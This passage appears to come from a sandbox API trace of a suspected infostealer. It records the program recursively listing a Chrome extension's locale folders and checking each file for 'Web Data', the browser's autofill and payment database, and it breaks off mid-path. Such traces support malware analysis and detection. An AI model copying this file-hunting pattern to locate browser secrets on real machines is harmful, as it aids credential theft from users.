Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\id\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\id\\*.*" [0056.364] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\id\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.364] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.364] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.364] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.365] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.365] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.365] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.365] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0 [0056.365] FindClose (in: hFindFile=0x2dc8b8 | out: hFindFile=0x2dc8b8) returned 1 [0056.365] LocalFree (hMem=0x2e0328) returned 0x0 [0056.365] LocalFree (hMem=0x2e0218) returned 0x0 [0056.365] FindNextFileA (in: hFindFile=0x2dc878, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 1 [0056.365] lstrcmpiA (lpString1=".", lpString2="it") returned -1 [0056.365] lstrcmpiA (lpString1="..", lpString2="it") returned -1 [0056.365] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales") returned 130 [0056.365] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales") returned 130 [0056.365] lstrlenA (lpString="\\") returned 1 [0056.365] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x2e0108 [0056.365] lstrcpyA (in: lpString1=0x2e0108, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales" [0056.365] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\" [0056.365] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\") returned 131 [0056.365] lstrlenA (lpString="it") returned 2 [0056.365] LocalAlloc (uFlags=0x40, uBytes=0x106) returned 0x2e0218 [0056.365] lstrcpyA (in: lpString1=0x2e0218, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\" [0056.365] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\", lpString2="it" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\it") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\it" [0056.365] LocalFree (hMem=0x2e0108) returned 0x0 [0056.365] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\it") returned 133 [0056.365] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\it") returned 133 [0056.365] lstrlenA (lpString="\\*.*") returned 4 [0056.365] LocalAlloc (uFlags=0x40, uBytes=0x10a) returned 0x2e0328 [0056.365] lstrcpyA (in: lpString1=0x2e0328, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\it" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\it") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\it" [0056.365] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\it", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\it\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\it\\*.*" [0056.365] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\it\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.365] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.365] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.365] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.365] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.365] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.365] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.365] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0 [0056.365] FindClose (in: hFindFile=0x2dc8b8 | out: hFindFile=0x2dc8b8) returned 1 [0056.365] LocalFree (hMem=0x2e0328) returned 0x0 [0056.365] LocalFree (hMem=0x2e0218) returned 0x0 [0056.365] FindNextFileA (in: hFindFile=0x2dc878, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 1 [0056.366] lstrcmpiA (lpString1=".", lpString2="ja") returned -1 [0056.366] lstrcmpiA (lpString1="..", lpString2="ja") returned -1 [0056.366] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales") returned 130 [0056.366] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales") returned 130 [0056.366] lstrlenA (lpString="\\") returned 1 [0056.366] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x2e0108 [0056.366] lstrcpyA (in: lpString1=0x2e0108, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales" [0056.366] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\" [0056.366] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\") returned 131 [0056.366] lstrlenA (lpString="ja") returned 2 [0056.366] LocalAlloc (uFlags=0x40, uBytes=0x106) returned 0x2e0218 [0056.366] lstrcpyA (in: lpString1=0x2e0218, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\" [0056.366] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\", lpString2="ja" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ja") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ja" [0056.366] LocalFree (hMem=0x2e0108) returned 0x0 [0056.366] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ja") returned 133 [0056.366] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ja") returned 133 [0056.366] lstrlenA (lpString="\\*.*") returned 4 [0056.366] LocalAlloc (uFlags=0x40, uBytes=0x10a) returned 0x2e0328 [0056.366] lstrcpyA (in: lpString1=0x2e0328, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ja" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ja") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ja" [0056.366] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ja", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ja\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ja\\*.*" [0056.366] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ja\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.366] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.366] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.366] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.366] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.366] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.366] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.366] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0 [0056.366] FindClose (in: hFindFile=0x2dc8b8 | out: hFindFile=0x2dc8b8) returned 1 [0056.366] LocalFree (hMem=0x2e0328) returned 0x0 [0056.366] LocalFree (hMem=0x2e0218) returned 0x0 [0056.366] FindNextFileA (in: hFindFile=0x2dc878, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 1 [0056.366] lstrcmpiA (lpString1=".", lpString2="ko") returned -1 [0056.366] lstrcmpiA (lpString1="..", lpString2="ko") returned -1 [0056.366] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales") returned 130 [0056.366] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales") returned 130 [0056.366] lstrlenA (lpString="\\") returned 1 [0056.366] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x2e0108 [0056.366] lstrcpyA (in: lpString1=0x2e0108, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales" [0056.366] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\" [0056.366] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\") returned 131 [0056.366] lstrlenA (lpString="ko") returned 2 [0056.366] LocalAlloc (uFlags=0x40, uBytes=0x106) returned 0x2e0218 [0056.367] lstrcpyA (in: lpString1=0x2e0218, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\" [0056.367] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\", lpString2="ko" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ko") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ko" [0056.367] LocalFree (hMem=0x2e0108) returned 0x0 [0056.367] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ko") returned 133 [0056.367] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ko") returned 133 [0056.367] lstrlenA (lpString="\\*.*") returned 4 [0056.367] LocalAlloc (uFlags=0x40, uBytes=0x10a) returned 0x2e0328 [0056.367] lstrcpyA (in: lpString1=0x2e0328, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ko" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ko") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ko" [0056.367] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ko", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ko\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ko\\*.*" [0056.367] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ko\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.367] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.367] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.367] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.367] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.367] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.367] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.367] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0 [0056.367] FindClose (in: hFindFile=0x2dc8b8 | out: hFindFile=0x2dc8b8) returned 1 [0056.367] LocalFree (hMem=0x2e0328) returned 0x0 [0056.367] LocalFree (hMem=0x2e0218) returned 0x0 [0056.367] FindNextFileA (in: hFindFile=0x2dc878, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 1 [0056.367] lstrcmpiA (lpString1=".", lpString2="lt") returned -1 [0056.367] lstrcmpiA (lpString1="..", lpString2="lt") returned -1 [0056.367] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales") returned 130 [0056.367] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales") returned 130 [0056.367] lstrlenA (lpString="\\") returned 1 [0056.367] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x2e0108 [0056.367] lstrcpyA (in: lpString1=0x2e0108, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales" [0056.367] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\" [0056.367] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\") returned 131 [0056.367] lstrlenA (lpString="lt") returned 2 [0056.367] LocalAlloc (uFlags=0x40, uBytes=0x106) returned 0x2e0218 [0056.367] lstrcpyA (in: lpString1=0x2e0218, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\" [0056.367] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\", lpString2="lt" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\lt") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\lt" [0056.367] LocalFree (hMem=0x2e0108) returned 0x0 [0056.367] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\lt") returned 133 [0056.367] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\lt") returned 133 [0056.367] lstrlenA (lpString="\\*.*") returned 4 [0056.367] LocalAlloc (uFlags=0x40, uBytes=0x10a) returned 0x2e0328 [0056.367] lstrcpyA (in: lpString1=0x2e0328, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\lt" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\lt") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\lt" [0056.367] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\lt", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\lt\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\lt\\*.*" [0056.367] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User 